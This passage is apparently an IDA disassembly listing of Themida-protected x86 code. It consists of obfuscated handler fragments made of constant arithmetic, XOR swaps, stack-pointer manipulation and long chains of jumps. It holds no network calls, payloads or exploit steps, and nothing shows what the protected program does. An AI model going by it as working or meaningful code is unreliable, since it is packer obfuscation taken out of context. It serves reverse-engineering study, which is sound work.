loc_594D4B:				; CODE XREF: sub_59196D+467Fj
		push	edi
		mov	edi, 1BEE23F9h
		add	edi, 0F362E4DBh
		add	eax, edi
		jmp	loc_590A3C
; ---------------------------------------------------------------------------


loc_594D5E:				; CODE XREF: sub_59196D-134j
		inc	bl
		inc	bl
		inc	bl
		xor	bl, 0B8h
		jmp	loc_594655
; ---------------------------------------------------------------------------


loc_594D6C:				; CODE XREF: sub_59196D+15DBj
		xor	esi, 1E1179ADh
		jmp	loc_58D122
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+48h+var_4A+2]
		push	757Ah
		mov	[esp+4Ch+var_4E+2], edi
		mov	edi, esp
		jmp	loc_5907ED
; ---------------------------------------------------------------------------


loc_594D8A:				; CODE XREF: sub_59196D+48FAj
		sub	edx, 0E550EF7h
		jmp	loc_596604
; ---------------------------------------------------------------------------


loc_594D95:				; CODE XREF: sub_59196D+D7Fj
					; sub_59196D+5294j
		mov	dx, word ptr [esp+18h+var_1A+2]
		add	esp, 2
		xor	al, dh
		xor	dh, al
		xor	al, dh
		xor	byte ptr [esp+14h+var_16+2], al
		xor	al, byte ptr [esp+14h+var_16+2]
		xor	byte ptr [esp+14h+var_16+2], al
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_594DB3:				; CODE XREF: sub_59196D-2836j
		mov	dh, 0BFh
		jmp	loc_58B504
; ---------------------------------------------------------------------------


loc_594DBA:				; CODE XREF: sub_59196D+51C7j
		push	edx
		mov	edx, 4
		jmp	loc_58C72D
; ---------------------------------------------------------------------------


loc_594DC5:				; CODE XREF: sub_59196D+31Aj
		jnz	loc_596F68
		push	edx
		jmp	loc_58E4BA
; ---------------------------------------------------------------------------
		neg	eax
		jo	loc_58FA85


loc_594DD9:				; CODE XREF: sub_59196D+1C8Fj
		push	esp
		pop	edx
		add	edx, 4
		push	ecx
		mov	ecx, 4
		sub	edx, ecx
		pop	ecx
		xchg	edx, [esp+2Ch+var_2E+2]
		mov	esp, [esp+2Ch+var_2E+2]
		jmp	loc_58F85E
; ---------------------------------------------------------------------------


loc_594DF5:				; CODE XREF: sub_59196D+4DDj
		shr	dl, 8
		shr	dl, 6
		push	ebx
		mov	bl, 3Fh
		jmp	loc_5927A0
; ---------------------------------------------------------------------------


loc_594E03:				; CODE XREF: sub_59196D+990j
		add	[esp+1Ch+var_1E+2], 4
		pop	ebp
		push	ebx
		push	4
		pop	ebx
		add	ebp, ebx
		jmp	loc_58FAD4
; ---------------------------------------------------------------------------


loc_594E19:				; CODE XREF: sub_59196D+5CF0j
		pop	esp
		push	4391h
		mov	[esp+1Ch+var_1E+2], edi
		push	ecx
		mov	edi, [esp+20h+var_22+2]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_59591D
; ---------------------------------------------------------------------------


loc_594E3A:				; CODE XREF: sub_59196D+41D5j
		push	esp
		mov	ecx, [esp+28h+var_2A+2]
		jmp	loc_58F62A
; ---------------------------------------------------------------------------


loc_594E43:				; CODE XREF: sub_59196D+3783j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+2Ch+var_2E+2]
		pop	esp
		mov	ecx, ebp
		pop	ebp
		and	eax, ecx
		mov	ecx, [esp+24h+var_26+2]
		push	6BCEh
		mov	[esp+28h+var_2A+2], ebp
		push	58Fh
		mov	[esp+2Ch+var_2E+2], esp
		jmp	loc_595B5A
; ---------------------------------------------------------------------------
		mov	sp, word ptr [esp+2Ch+var_2E+2]
		jmp	loc_58B37B
; ---------------------------------------------------------------------------
		push	0
		push	[esp+30h+var_32+2]
		pop	ebx
		push	ecx
		mov	ecx, esp
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 2FB11FA3h
		sub	eax, 755776AEh
		xor	eax, 0BA59A8F1h
		add	ecx, eax
		pop	eax
		push	4D36h
		mov	[esp], edi
		mov	edi, 4
		jmp	loc_5964F4
; ---------------------------------------------------------------------------


loc_594EB5:				; CODE XREF: sub_59196D-58D7j
		not	edx
		xor	edx, 0BD90012Ah
		sub	eax, edx
		pop	edx
		mov	ecx, [esp+0]
		add	esp, 4
		push	4E47h
		mov	[esp+0], ecx
		mov	ecx, 59002856h
		or	ecx, 72966EDDh
		push	edi
		mov	edi, 470B6D44h
		add	ecx, edi
		pop	edi
		xchg	esi, ecx
		dec	esi
		jmp	loc_5906AA
; ---------------------------------------------------------------------------


loc_594EEA:				; DATA XREF: Themida_:0058B138o
		push	dword ptr [esp+0]
		jmp	loc_590C51
; ---------------------------------------------------------------------------


loc_594EF2:				; CODE XREF: sub_59196D-153j
		push	small 408Fh
		jmp	loc_596188
; ---------------------------------------------------------------------------


loc_594EFB:				; CODE XREF: sub_59196D+21AFj
		xor	ebx, 10E9A180h
		mov	ebp, ebx
		pop	ebx
		or	ebp, 0ADC3427h
		sub	ebp, 1FFF37FEh
		jmp	loc_591851
; ---------------------------------------------------------------------------


loc_594F15:				; CODE XREF: sub_59196D+4693j
		jmp	loc_592BD3
; ---------------------------------------------------------------------------


loc_594F1A:				; CODE XREF: sub_59196D-1AE4j
					; sub_59196D+543Ej
		add	ebp, edi
		pop	edi
		and	ebp, 30974A11h
		add	ebp, 4BF12B03h
		sub	ebp, 740E5521h
		push	edx
		push	0F81B2211h
		pop	edx
		add	ebp, 67712331h
		jmp	loc_58E983
; ---------------------------------------------------------------------------


loc_594F41:				; CODE XREF: sub_59196D-5CD7j
		add	[esp+2Ch+var_2E+2], 4
		jmp	loc_58BCA9
; ---------------------------------------------------------------------------


loc_594F4D:				; CODE XREF: sub_59196D+2A37j
		xor	[esp+24h+var_26+2], edi
		jmp	loc_591F87
; ---------------------------------------------------------------------------


loc_594F55:				; CODE XREF: sub_59196D+47BFj
		mov	bl, 0FFh
		sub	dl, bl
		pop	bx
		shr	dl, 7
		sub	dl, 96h
		sub	al, 4Ch
		push	cx
		mov	ch, 96h
		add	al, ch
		jmp	loc_58F395
; ---------------------------------------------------------------------------


loc_594F6E:				; CODE XREF: Themida_:0058E837j
		xor	dx, cx
		pop	cx
		mov	di, dx
		pop	edx
		shr	di, 3
		shr	di, 7
		xor	di, 1E47h
		sub	di, 9E8Bh
		jmp	loc_597B73
; ---------------------------------------------------------------------------


loc_594F8E:				; CODE XREF: sub_59196D-11ECj
		push	45E6h
		jmp	loc_590CBC
; ---------------------------------------------------------------------------


loc_594F98:				; CODE XREF: sub_59196D+307Cj
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_598014
; ---------------------------------------------------------------------------


loc_594FA5:				; CODE XREF: sub_59196D+2F1Fj
		mov	esi, esp
		push	ebp
		mov	ebp, 56A0090Dh
		push	ebx
		mov	ebx, 59B515Eh
		jmp	loc_58CB9E
; ---------------------------------------------------------------------------


loc_594FB8:				; CODE XREF: sub_59196D+27CBj
		add	cl, bl
		sub	cl, 0F8h
		pop	ebx
		jmp	loc_5923B1
; ---------------------------------------------------------------------------


loc_594FC3:				; CODE XREF: sub_59196D-2B5j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_58DF13
; ---------------------------------------------------------------------------


loc_594FD2:				; CODE XREF: sub_59196D-28EAj
		add	dword ptr [edi+20h], 50365834h
		mov	ebx, [esp+3Ch+var_3C]
		add	esp, 4
		push	dword ptr [edi+20h]
		xchg	edx, [esp+3Ch+var_3C]
		push	edx
		not	[esp+40h+var_40]
		pop	edx
		xor	[esp+3Ch+var_3C], edx
		xor	edx, [esp+3Ch+var_3C]
		xor	[esp+3Ch+var_3C], edx
		jmp	loc_59072B
; ---------------------------------------------------------------------------


loc_594FFB:				; CODE XREF: sub_59196D+2B05j
		mov	esp, [esp+0]
		mov	eax, [esp+0]
		push	2F12h
		mov	[esp+12h+var_12], eax
		mov	eax, esp
		push	esi
		mov	esi, 2FFD169Bh
		add	esi, 7C3A7DD3h
		jmp	loc_592893
; ---------------------------------------------------------------------------


loc_59501C:				; CODE XREF: sub_59196D+12DEj
		mov	cx, word ptr [esp+22h+var_22]
		push	edx
		sub	esp, 4
		mov	[esp+2Ah+var_2A], esp
		add	[esp+2Ah+var_2A], 4
		pop	edx
		add	edx, 4
		jmp	loc_5904D8
; ---------------------------------------------------------------------------


loc_59503D:				; CODE XREF: sub_59196D-3A74j
		mov	edx, 0CB36778h
		mov	ecx, 11B1895Eh
		sub	ecx, edx
		pop	edx
		sub	ebx, ecx
		pop	ecx
		push	ecx
		mov	ecx, 73FA3899h
		sub	ebx, ecx
		pop	ecx
		sub	ebx, eax
		add	ebx, 73FA3899h
		push	esi
		mov	esi, 0E030076h
		jmp	loc_58F0B1
; ---------------------------------------------------------------------------


loc_595069:				; CODE XREF: sub_59196D+5E61j
		sub	esp, 4
		jmp	loc_5902EC
; ---------------------------------------------------------------------------


loc_595074:				; CODE XREF: sub_59196D+2A6Fj
		xor	ebp, [esp+1Ch+var_1E+2]
		mov	esp, [esp+1Ch+var_1E+2]
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_59507F:				; CODE XREF: sub_59196D+21Dj
					; sub_59196D+B4Bj
		pop	esi
		jmp	loc_592444
; ---------------------------------------------------------------------------


loc_595085:				; CODE XREF: sub_59196D-653Aj
		and	ebp, 0D193BFFh
		inc	ebp
		add	ebp, 3DC2D8E4h
		add	eax, ebp
		jmp	loc_58BE9E
; ---------------------------------------------------------------------------


loc_595099:				; CODE XREF: Themida_:0058EFC4j
		mov	[esp+8+var_8], esi
		mov	esi, esp
		push	ebx
		push	123Bh
		mov	[esp+10h+var_12+2], ebp
		mov	ebp, 79C446FDh
		and	ebp, 0C99283Eh
		push	eax
		push	8800038h
		mov	eax, [esp+18h+var_1A+2]
		add	esp, 4
		xor	ebp, eax
		jmp	loc_59045E
; ---------------------------------------------------------------------------


loc_5950C5:				; CODE XREF: sub_59196D+59Ej
		pop	ebp
		jmp	loc_594322
; ---------------------------------------------------------------------------


loc_5950CB:				; CODE XREF: sub_59196D+25BAj
		pop	esp
		mov	eax, [esp+14h+var_16+2]
		push	edx
		push	esp
		pop	edx
		jmp	loc_59450E
; ---------------------------------------------------------------------------


loc_5950D7:				; CODE XREF: sub_59196D-3F1Aj
		add	esi, ecx
		mov	ecx, [esp+0Ch+var_C]
		add	esp, 4
		sub	esp, 4
		mov	[esp+0Ch+var_C], edx
		jmp	loc_596FE7
; ---------------------------------------------------------------------------


loc_5950ED:				; CODE XREF: sub_59196D+3E4Dj
		mov	eax, [esp+0Ch+var_C]
		jmp	loc_594E43
; ---------------------------------------------------------------------------


loc_5950F5:				; CODE XREF: sub_59196D-16C2j
		sub	esi, 65C85734h
		sub	esi, ebp
		add	esi, 65C85734h
		jmp	loc_58D9F8
; ---------------------------------------------------------------------------


loc_595108:				; CODE XREF: sub_59196D+473Aj
		add	eax, 2
		xchg	eax, [esp+4+var_4]
		pop	esp
		movzx	eax, al
		pop	dword ptr [edi+eax*4]
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_59511C:				; CODE XREF: sub_59196D-362Aj
		pop	edi
		sub	esp, 4
		mov	[esp+44h+var_44], ecx
		mov	ecx, esi
		mov	edx, ecx
		pop	ecx
		jmp	loc_59796B
; ---------------------------------------------------------------------------


loc_59512D:				; CODE XREF: sub_59196D-14F6j
		mov	esi, [esp+2Ch+var_2E+2]
		add	esp, 4
		pop	ebp
		sub	ecx, 7F4D4F36h
		add	ecx, ebx
		add	ecx, 7F4D4F36h
		pop	ebx
		jmp	sub_5906EB
; ---------------------------------------------------------------------------


loc_59514B:				; CODE XREF: sub_59196D+431Ej
		pop	ebx
		jmp	loc_596A9C
; ---------------------------------------------------------------------------


loc_595151:				; CODE XREF: sub_59196D-4675j
		mov	cl, 0Eh
		add	cl, 0A2h
		jmp	loc_595B0E
; ---------------------------------------------------------------------------


loc_59515B:				; CODE XREF: sub_59196D+3D03j
		mov	[esp+4Eh+var_4E], edx
		push	1937h
		mov	[esp+52h+var_54+2], edi
		jmp	loc_58D68C
; ---------------------------------------------------------------------------


loc_59516B:				; CODE XREF: sub_59196D+4EA2j
		xchg	eax, [esp+52h+var_54+2]
		mov	esp, [esp+52h+var_54+2]
		shr	[esp+52h+var_54+2], cl
		pushf
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_59517A:				; CODE XREF: sub_59196D+1498j
		push	4BA3h
		mov	[esp+1Ch+var_1E+2], ecx
		mov	ch, 18h
		add	ch, 0FFh
		sub	esp, 4
		mov	[esp+20h+var_22+2], ebx
		mov	bh, ch
		push	eax
		mov	ah, bh
		not	ah
		mov	bh, ah
		jmp	loc_59479C
; ---------------------------------------------------------------------------


loc_59519E:				; CODE XREF: sub_59196D-34C7j
					; sub_59196D-C29j
		push	32A2h
		mov	[esp+1Ch+var_1E+2], edi
		push	[esp+1Ch+var_1A+2]
		pop	edi
		pop	[esp+1Ch+var_1E+2]
		jmp	loc_597D52
; ---------------------------------------------------------------------------


loc_5951B3:				; CODE XREF: sub_59196D-4038j
					; sub_59196D+61B8j
		sub	edi, 4
		xchg	edi, [esp+1Ch+var_1E+2]
		pop	esp
		jmp	loc_591DBF
; ---------------------------------------------------------------------------


loc_5951C2:				; CODE XREF: sub_59196D+55F6j
		mov	esi, [esp+18h+var_1A+2]
		add	esp, 4
		push	ebp
		mov	ebp, 4
		add	esi, 36C90AF4h
		add	esi, ebp
		jmp	loc_590A47
; ---------------------------------------------------------------------------


loc_5951DE:				; CODE XREF: sub_59196D+69E0j
		xor	bh, 7Fh
		sub	al, 64h
		add	al, bh
		push	edx
		mov	dl, 0ADh
		jmp	loc_590733
; ---------------------------------------------------------------------------
		sub	esp, 4
		mov	[esp+20h+var_22+2], eax
		mov	eax, 1CA01AF9h
		push	ebp
		mov	ebp, 5C581F81h
		shr	ebp, 8
		or	ebp, 71786876h
		jmp	loc_58CD37
; ---------------------------------------------------------------------------


loc_59520C:				; CODE XREF: sub_59196D+418Ej
		mov	[esp+24h+var_26+2], edx
		push	14E87DCFh
		pop	edx
		sub	edx, 99C107Fh
		jmp	loc_58EE91
; ---------------------------------------------------------------------------


loc_595220:				; CODE XREF: sub_59196D-2C6Dj
		mov	bh, 0FFh
		sub	dh, bh
		jmp	loc_595354
; ---------------------------------------------------------------------------


loc_595229:				; CODE XREF: sub_59196D+211Aj
		mov	[esp+14h+var_16+2], ebp
		jmp	loc_596EB9
; ---------------------------------------------------------------------------


loc_595231:				; CODE XREF: sub_59196D:loc_5970DEj
		or	eax, 1FF07952h
		jle	loc_598625
		jmp	loc_595D07
; ---------------------------------------------------------------------------


loc_595241:				; CODE XREF: sub_59196D:loc_59805Cj
		shl	bl, 7
		js	loc_58BFE8
		jmp	loc_595E28
; ---------------------------------------------------------------------------


loc_59524F:				; CODE XREF: sub_59196D+432Aj
		push	ecx
		mov	ecx, esp
		push	ebx
		push	4
		jmp	loc_58E4AB
; ---------------------------------------------------------------------------


loc_59525D:				; CODE XREF: sub_59196D+E08j
		mov	[esp+14h+var_16+2], ebx
		jmp	loc_591CD0
; ---------------------------------------------------------------------------


loc_595265:				; CODE XREF: sub_59196D-4934j
		push	ebp
		jmp	loc_58C9BE
; ---------------------------------------------------------------------------


loc_59526B:				; CODE XREF: sub_59196D-5623j
		shl	dl, 3
		sub	dl, 0E2h
		sub	bh, dl
		pop	edx
		push	ecx
		mov	cl, 88h
		add	al, cl
		pop	ecx
		sub	al, bh
		sub	al, 88h
		mov	ebx, [esp+18h+var_1A+2]
		add	esp, 4
		push	edx
		mov	dh, 0ECh
		sub	dh, 0DDh
		jmp	loc_58EC7A
; ---------------------------------------------------------------------------


loc_595292:				; CODE XREF: sub_59196D:loc_58D6CEj
					; sub_59196D+695Dj
		mov	[esp+14h+var_16+2], ebx
		mov	ebx, 24h
		sub	ebx, 1B820A59h
		add	ebx, edi
		jmp	loc_58C759
; ---------------------------------------------------------------------------


loc_5952A7:				; CODE XREF: sub_59196D+2049j
		sub	edx, 357F06F1h
		sub	edx, ebx
		add	edx, 357F06F1h
		mov	ebx, edx
		pop	edx
		xor	ebx, 5D0B9C5Dh
		sub	ebp, ebx
		pop	ebx
		not	ebp
		push	ecx
		mov	ecx, 6D5A0067h
		add	ebp, ecx
		mov	ecx, [esp+0]
		add	esp, 4
		shl	ebp, 7
		push	eax
		mov	eax, 25862339h
		or	ebp, eax
		push	dword ptr [esp+0]
		pop	eax
		push	2AE0h
		mov	[esp+2+var_4+2], eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_58BE93
; ---------------------------------------------------------------------------


loc_5952F4:				; CODE XREF: sub_59196D:loc_58E0B7j
		shl	ebx, 8
		neg	ebx
		push	esi
		jmp	loc_596212
; ---------------------------------------------------------------------------


loc_5952FF:				; CODE XREF: sub_59196D-32A1j
		sub	[esp+42h+var_44+2], 536B2CE2h
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_59530B:				; CODE XREF: sub_59196D-5CBDj
		push	ecx
		mov	ecx, 60972A0Fh
		jmp	loc_58F1DD
; ---------------------------------------------------------------------------


loc_595316:				; CODE XREF: sub_59196D+3073j
		xor	ebp, [esp+14h+var_16+2]
		mov	esp, [esp+14h+var_16+2]
		push	edx
		mov	edx, esp
		jmp	loc_58E54E
; ---------------------------------------------------------------------------


loc_595324:				; CODE XREF: sub_59196D-3849j
		mov	edx, 0
		add	edx, ebx
		jmp	loc_58C9DA
; ---------------------------------------------------------------------------


loc_595330:				; CODE XREF: sub_59196D+17B5j
		jp	loc_594B2F
		inc	ebx
		jge	loc_58E717
		jmp	loc_5978A0
; ---------------------------------------------------------------------------
		mov	ch, bh


loc_595344:				; CODE XREF: sub_59196D+2E4Cj
		neg	edx
		shl	edx, 7
		xor	edx, 0D91957CAh
		jmp	loc_5947A4
; ---------------------------------------------------------------------------


loc_595354:				; CODE XREF: sub_59196D+38B7j
		mov	bx, word ptr [esp+1Ch+var_1E+2]
		jmp	loc_59754F
; ---------------------------------------------------------------------------


loc_59535D:				; CODE XREF: sub_59196D-1D0j
		add	esp, 4
		sub	eax, 3DCE7B7Ah
		jmp	loc_596C2D
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		sub	esp, 4
		mov	[esp+32h+var_32], esi
		sub	esp, 4
		mov	[esp+36h+var_36], edx
		mov	edx, 8D315DEh
		inc	edx
		jmp	loc_591EF7
; ---------------------------------------------------------------------------


loc_595387:				; CODE XREF: sub_59196D+598Dj
		pop	esp
		or	eax, eax
		jnz	loc_592224
		sub	esp, 4
		mov	[esp+36h+var_36], eax
		push	ebp
		jmp	loc_58CEF8
; ---------------------------------------------------------------------------


loc_59539F:				; CODE XREF: sub_59196D:loc_591B60j
					; sub_59196D+4861j
		shr	cl, 6
		push	edx
		jmp	loc_58FB32
; ---------------------------------------------------------------------------


loc_5953A8:				; CODE XREF: sub_59196D-DE4j
		pop	esi
		add	eax, 663953F0h
		jmp	loc_58EFF9
; ---------------------------------------------------------------------------


loc_5953B3:				; CODE XREF: sub_59196D+1E2Dj
		xor	eax, 0CC2C7F0Ch
		mov	esi, eax
		pop	eax
		add	esi, edx
		pop	edx
		mov	edx, 603837B0h
		sub	edx, esi
		pop	esi
		add	eax, 18E838BBh
		jmp	loc_59238C
; ---------------------------------------------------------------------------


loc_5953D0:				; CODE XREF: sub_59196D+2935j
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_5953D5:				; CODE XREF: sub_59196D+2C4Dj
		mov	cl, 9Bh
		jmp	near ptr word_58EA76
; ---------------------------------------------------------------------------


loc_5953DC:				; CODE XREF: sub_59196D:loc_58E77Cj
		not	eax
		push	edx
		mov	edx, 55D41E9Dh
		sub	edx, 0B974B33h
		and	edx, 6B45771Ah
		dec	edx
		push	edx
		not	[esp+1Ch+var_1E+2]
		pop	edx
		xor	edx, 3DE5DBE5h
		sub	eax, edx
		pop	edx
		sub	esp, 4
		jmp	loc_591E9A
; ---------------------------------------------------------------------------


loc_59540A:				; CODE XREF: sub_59196D-3905j
		xor	edx, 4DF56A74h
		jmp	loc_596986
; ---------------------------------------------------------------------------


loc_595415:				; CODE XREF: sub_59196D-2B85j
		or	eax, 4F7C3538h
		jmp	loc_594D07
; ---------------------------------------------------------------------------


loc_59541F:				; CODE XREF: sub_59196D+1D19j
		shl	ebp, 8
		xor	ebp, 0D78E6573h
		xor	esi, ebp
		pop	ebp
		mov	ecx, esi
		jmp	loc_58BC9B
; ---------------------------------------------------------------------------


loc_595432:				; CODE XREF: sub_59196D-2317j
		shr	ebp, 6
		push	esi
		jmp	loc_5918CC
; ---------------------------------------------------------------------------


loc_59543B:				; CODE XREF: sub_59196D-1A7Ej
		mov	edi, [esp+6+var_8+2]
		add	esp, 4
		jmp	loc_58DF08
; ---------------------------------------------------------------------------


loc_595446:				; CODE XREF: sub_59196D+27D3j
		sub	eax, 0E980EC00h
		mov	ecx, eax
		pop	eax
		jmp	loc_597882
; ---------------------------------------------------------------------------


loc_595453:				; CODE XREF: sub_59196D+CEj
		xor	esi, 45240E27h
		sub	esi, 70332EBDh
		xor	esi, 0B88CD7A3h
		jmp	loc_593756
; ---------------------------------------------------------------------------


loc_59546A:				; CODE XREF: sub_59196D-3F64j
		mov	dh, bh
		jmp	loc_58DC7F
; ---------------------------------------------------------------------------


loc_595471:				; CODE XREF: Themida_:00590A20j
		push	esp
		mov	edx, [esp+14h+var_16+2]
		add	esp, 4
		add	edx, 4
		sub	edx, 4
		jmp	loc_58C535
; ---------------------------------------------------------------------------


loc_59548C:				; CODE XREF: sub_59196D+4A1j
		xor	ebx, [esp+10h+var_12+2]
		xor	[esp+10h+var_12+2], ebx
		xor	ebx, [esp+10h+var_12+2]
		pop	esp
		mov	[esp+0Ch+var_C], eax
		mov	eax, esp
		add	eax, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+10h+var_12+2]
		pop	esp
		mov	[esp+0Ch+var_C], edx
		mov	edx, 4
		add	eax, edx
		pop	edx
		jmp	loc_58EDF5
; ---------------------------------------------------------------------------


loc_5954C3:				; CODE XREF: sub_59196D-2030j
		mov	ax, word ptr [esp+1Ch+var_1E+2]
		add	esp, 2
		pop	edx
		movzx	eax, al
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		jmp	loc_58EA92
; ---------------------------------------------------------------------------


loc_5954E2:				; CODE XREF: sub_59196D+585j
		sub	ebp, 139CB8E3h
		sub	ebx, ebp
		pop	ebp
		push	ebp
		jmp	loc_59774C
; ---------------------------------------------------------------------------


loc_5954F1:				; CODE XREF: sub_59196D+1564j
		add	edx, 4
		sub	edx, 4
		push	edx
		jmp	loc_5967EA
; ---------------------------------------------------------------------------


loc_595503:				; CODE XREF: sub_59196D+22D1j
		sub	[esp+48h+var_4A+2], esi
		mov	esi, [esp+48h+var_4A+2]
		add	esp, 4
		neg	esi
		neg	esi
		add	esi, 12EF3482h
		sub	edx, esi
		pop	esi
		xchg	ebx, edx
		jmp	loc_58DD2F
; ---------------------------------------------------------------------------


loc_595523:				; CODE XREF: sub_59196D+1AAj
					; sub_59196D+3C67j ...
		sub	edi, 0FFFFFFFFh
		or	edi, 68ED47C5h
		jnz	loc_58BB09
		dec	edi
		js	loc_58B5ED
		mov	dl, 0A0h
		push	eax


loc_59553C:				; DATA XREF: Themida_:0058B1F4o
		mov	cx, word ptr [esp+24h+var_26+2]
		push	69FDh
		jmp	loc_58D50E
; ---------------------------------------------------------------------------


loc_59554A:				; CODE XREF: sub_59196D:loc_5922C9j
		push	edx
		xchg	eax, [esp+18h+var_1A+2]
		not	eax
		jmp	loc_5927BF
; ---------------------------------------------------------------------------


loc_595555:				; CODE XREF: sub_59196D-5FFCj
		push	esp
		mov	ebp, [esp+20h+var_22+2]
		add	esp, 4
		sub	esp, 4
		mov	[esp+20h+var_22+2], ebp
		push	esp
		jmp	loc_598093
; ---------------------------------------------------------------------------


loc_59556B:				; CODE XREF: sub_59196D-28C1j
					; sub_59196D+4C36j
		add	esp, 4
		sub	esi, ebx
		push	[esp+0Ch+var_C]
		pop	ebx
		add	esp, 4
		add	esi, eax
		add	esi, 2B6A3E7Ah
		sub	esp, 4
		mov	[esp+0Ch+var_C], esi
		jmp	loc_58C026
; ---------------------------------------------------------------------------


loc_59558D:				; CODE XREF: sub_59196D+1C43j
		mov	word ptr [esp+36h+var_36], dx
		mov	dl, bh
		not	dl
		mov	bh, dl
		jmp	loc_58E95E
; ---------------------------------------------------------------------------


loc_59559C:				; CODE XREF: sub_59196D-5A89j
		push	edi
		mov	edi, 2
		add	ebp, edi
		pop	edi
		xor	ebp, [esp+36h+var_36]
		xor	[esp+36h+var_36], ebp
		xor	ebp, [esp+36h+var_36]
		mov	esp, [esp+36h+var_36]
		cmp	cl, al
		pushf
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_5955B9:				; CODE XREF: sub_59196D+586Dj
		add	esp, 4
		jmp	loc_594419
; ---------------------------------------------------------------------------


loc_5955C1:				; CODE XREF: sub_59196D-602Dj
		sub	[esp+24h+var_26+2], ebp
		mov	ebp, [esp+24h+var_26+2]
		add	esp, 4
		jmp	loc_58D0E0
; ---------------------------------------------------------------------------


loc_5955CF:				; CODE XREF: sub_59196D+54C0j
		add	dl, 0C3h
		and	ch, dl
		jmp	loc_595523
; ---------------------------------------------------------------------------


loc_5955D9:				; CODE XREF: Themida_:0058FE25j
		neg	al
		jp	loc_596D1B
		jmp	loc_590619
; ---------------------------------------------------------------------------
		and	eax, ebp
		pop	ebp
		neg	eax
		shl	eax, 8


loc_5955EE:				; DATA XREF: Themida_:0058B12Co
		push	[esp+1Ch+var_1E+2]
		jmp	loc_597ACB
; ---------------------------------------------------------------------------


loc_5955F6:				; CODE XREF: sub_59196D+578Dj
		sub	edx, 6F752D81h
		jmp	loc_592631
; ---------------------------------------------------------------------------


loc_595601:				; CODE XREF: sub_59196D+2FCEj
		pop	ecx
		jmp	loc_592631
; ---------------------------------------------------------------------------


loc_595607:				; CODE XREF: sub_59196D+28B7j
		xchg	ecx, edi
		not	ecx
		xchg	ecx, edi
		push	ecx
		push	edi
		pop	ecx
		pop	edi
		jmp	loc_590F88
; ---------------------------------------------------------------------------


loc_595616:				; CODE XREF: sub_59196D+2D13j
		xchg	ecx, [esp-14h+arg_10]
		pop	esp
		jmp	loc_592224
; ---------------------------------------------------------------------------


loc_59561F:				; CODE XREF: Themida_:0058CA47j
		mov	edx, 50AC4DADh
		push	ebp
		mov	ebp, 5E01524Fh
		xor	edx, ebp
		pop	ebp
		mov	eax, edx
		mov	edx, [esp-18h+arg_14]
		jmp	loc_59569C
; ---------------------------------------------------------------------------


loc_595637:				; CODE XREF: sub_59196D+57FEj
		sub	esp, 4
		mov	[esp-14h+arg_10], edx
		mov	dl, 21h
		sub	al, dl
		pop	edx
		push	ebx
		push	esp
		jmp	loc_594891
; ---------------------------------------------------------------------------


loc_59564C:				; CODE XREF: sub_59196D-2A43j
		pop	ecx
		mov	eax, [esp-4+arg_0]
		add	esp, 4
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_59565B:				; CODE XREF: sub_59196D+2C8Aj
		sub	ebp, ecx
		mov	ecx, [esp-0Ah+arg_4+2]
		add	esp, 4
		jmp	loc_5921F0
; ---------------------------------------------------------------------------


loc_59566B:				; CODE XREF: sub_59196D-586Dj
		push	279Eh
		jmp	loc_59515B
; ---------------------------------------------------------------------------


loc_595675:				; CODE XREF: sub_59196D-18E1j
		mov	[esp+1Ch+var_1E+2], esp
		add	[esp+1Ch+var_1E+2], 4
		push	[esp+1Ch+var_1E+2]
		pop	ecx
		jmp	loc_596530
; ---------------------------------------------------------------------------


loc_595688:				; CODE XREF: sub_59196D-AA6j
		mov	eax, [esp+20h+var_22+2]
		add	esp, 4
		mov	eax, [esp+1Ch+var_1E+2]
		add	esp, 4
		jmp	sub_58ED05
; ---------------------------------------------------------------------------


loc_59569C:				; CODE XREF: sub_59196D+3CC5j
		add	esp, 4
		xchg	eax, edi
		not	edi
		xchg	eax, edi
		shl	eax, 1
		shl	eax, 8
		jmp	loc_58D778
; ---------------------------------------------------------------------------


loc_5956AD:				; CODE XREF: sub_59196D-874j
		pop	edx
		push	esi
		mov	esi, 506A52C2h
		push	edx
		mov	edx, 0
		jmp	loc_594045
; ---------------------------------------------------------------------------


loc_5956BF:				; CODE XREF: sub_59196D+2D30j
		jmp	loc_590128
; ---------------------------------------------------------------------------


loc_5956C4:				; CODE XREF: sub_59196D-61E7j
		add	ebp, eax
		pop	eax
		xor	ebp, [esp+1Ch+var_1E+2]
		xor	[esp+1Ch+var_1E+2], ebp
		xor	ebp, [esp+1Ch+var_1E+2]
		mov	esp, [esp+1Ch+var_1E+2]
		mov	ax, word ptr [esp+1Ch+var_1E+2]
		push	edx
		jmp	loc_592C26
; ---------------------------------------------------------------------------


loc_5956DD:				; CODE XREF: sub_59196D-3877j
		add	ebx, ecx
		pop	ecx
		xor	ebx, [esp+16h+var_16]
		xor	[esp+16h+var_16], ebx
		xor	ebx, [esp+16h+var_16]
		jmp	loc_590C9A
; ---------------------------------------------------------------------------


loc_5956EE:				; CODE XREF: sub_59196D+572Bj
		push	eax
		mov	eax, 4
		jmp	loc_58C974
; ---------------------------------------------------------------------------


loc_5956F9:				; CODE XREF: sub_59196D-4BFFj
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_5956FE:				; CODE XREF: sub_59196D+639Ej
		add	edi, ecx
		sub	edi, 0BEC7ABDh
		pop	ecx
		add	edi, 4
		push	edi
		jmp	loc_591A91
; ---------------------------------------------------------------------------


loc_595713:				; CODE XREF: sub_59196D-1422j
		neg	edi
		xor	edi, 0D314D7CEh
		add	eax, edi
		pop	edi
		sub	eax, 4
		xchg	eax, [esp+14h+var_16+2]
		jmp	loc_58DFBF
